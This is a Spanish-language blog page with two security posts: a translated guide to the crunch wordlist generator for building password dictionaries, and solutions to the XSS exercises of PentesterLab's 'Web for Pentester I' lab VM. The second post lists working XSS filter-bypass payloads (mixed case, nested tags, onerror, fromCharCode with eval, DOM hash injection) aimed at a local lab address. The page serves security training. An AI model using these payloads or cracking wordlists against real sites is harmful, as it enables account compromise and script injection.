viernes, 11 de agosto de 2017

Tutorial crunch

Hola amigos.

En esta ocasión aprenderemos a crear diccionarios con una aplicación que ya nos trae Kali (o Parrot OS, …), la cual tiene el nombre de crunch.

Voy a casi traducir lo que viene en el manual.

La sintaxis es la siguiente

crunch <min> <max> [charset] [options]

min indica el número mínimo de caracteres que tendrán nuestras palabras.

max indica el número máximo.

Charset es la configuración de caracteres que queremos usar. Por defecto es lalpha (lower alphabet). Se utilizaría la \ para escapar (poder utilizar caracteres como el punto, el %...) en nuestro diccionario. Es precedido por -f

Opciones:

-b Tamaño en Mb del fichero que queremos crear. Sólo trabaja con -o

-c Numero de líneas que tendrá nuestro fichero.

-d Limita el número de símbolos, por ejemplo, si ponemos -d 2@ (más adelante veremos lo de @) generará aab aac aad … pero nunca aaa.

-e Cuando pongamos una palabra tras el -e, crunch terminará de ejecutarse.

-f Selecciona el tipo de carácter del archivo charset.lst

-i Invierte la salida, por ejemplo aaa aab aac … lo pasa a aaa baa caa …

-l Especifica qué símbolos aparecerán literalmente. Se usa conjuntamente con -t

-m Es lo mismo que -p

-o El diccionario lo guarda en el fichero señalado, por ejemplo -o mi_diccionario.txt

-p permuta los caracteres. Los puedes pasar directamente (-p juan pedro filete, que daría juanpedrofilete, filetejuanpedro, pedrofiletejuan, ...)

-q Igual que antes, pero a través de un archivo con las palabras a permutar (-p archivo)

-r Funciona sólo con -o. Reanuda la generación de palabras desde donde se dejó. Debes usar el mismo comando que utilizaste por primera vez. Eso sí, en el caso de que hubieses creado la lista con la opción -s, no habría que poner (el -s).

-s Se usa como -s cadena . Es la cadena desde donde empezará a generar palabras.

-t patrón. El patrón consta de

  • @ caracteres en minúscula
  • , caracteres en mayúscula.
  • % números
  • ^ símbolos
Por ejemplo: @@god@@@ genera aagodaaa aagodaab

-u No imprime el porcentaje de impresión.

-z Esta opción comprime la salida, los porcentajes de compresión que permite son:

-z gzip
-z bzip 2
-z lzma
-z 7z
crunch 9 9 0123456789 91%%%%%%%%%%

91000000000
91000000001







viernes, 4 de agosto de 2017

Web for pentesters I soluciones a los ejercicios XSS

Hola amigos:

Hoy, vamos a completar el primer post (ya hace más de un año) que hice. No pondré ningún enlace porque empezaré desde el principio.

Web for pentester I es una máquina virtual, perteneciente a pentesterlab, que nos ayuda a aprender seguridad en web. Tiene distintos ejemplos, XSS, Inyección SQL, etc. En el post de hoy, resolveremos los ejemplos de XSS.

Os la podréis descargar de https://pentesterlab.com/exercises/web_for_pentester

Ejemplo 1


Ejemplo 2

Aquí, la idea es cambiar las palabras script alternando mayúsculas y minúsculas para saltarnos el filtro. Da igual dónde las pongáis.

http://192.168.1.134/xss/example2.php?name=<scRipT>alert(“hola”)</SCrIpt>

Ejemplo 3

http://192.168.1.134/xss/example3.php?name=<sc<script>ript>alert("hola")</scri</script>pt>

Ejemplo 4

http://192.168.1.134/xss/example4.php?name=<img src="fsociety" onerror=alert("hola")>

Ejemplo 5

fromCharCode, que pertenece a String, convierte en cadena códigos decimales.

Le antepondremos eval para evaluar


http://192.168.1.134/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,34,104,111,108,97,34,41))</script>

Primero convertimos en cadena los códigos en decimal y después evaluamos el resultado.

Ejemplo 6

http://192.168.1.130/xss/example6.php?name=hacker";alert("hola");"

Ejemplo 7



Ejemplo 8

http://192.168.1.130/xss/example8.php/"><script>alert("hola")</script>

Aquí, estamos inyectando en la parte del código

<form action="/xss/example8.php" method="POST">
para que quede

<form action="/xss/example8.php/"><script>alert(“hola”)</script> method="POST">

Ejemplo 9
http://192.168.1.130/xss/example9.php#hacker<script>alert("hola")</script>

Ojito, no funciona con algunos navegadores, por ejemplo, en firefox no sale y en edge sí.

La idea es que poner el payload tras el símbolo de # (anclaje). Es de tipo XSS-DOM (Modelo de objetos del documento)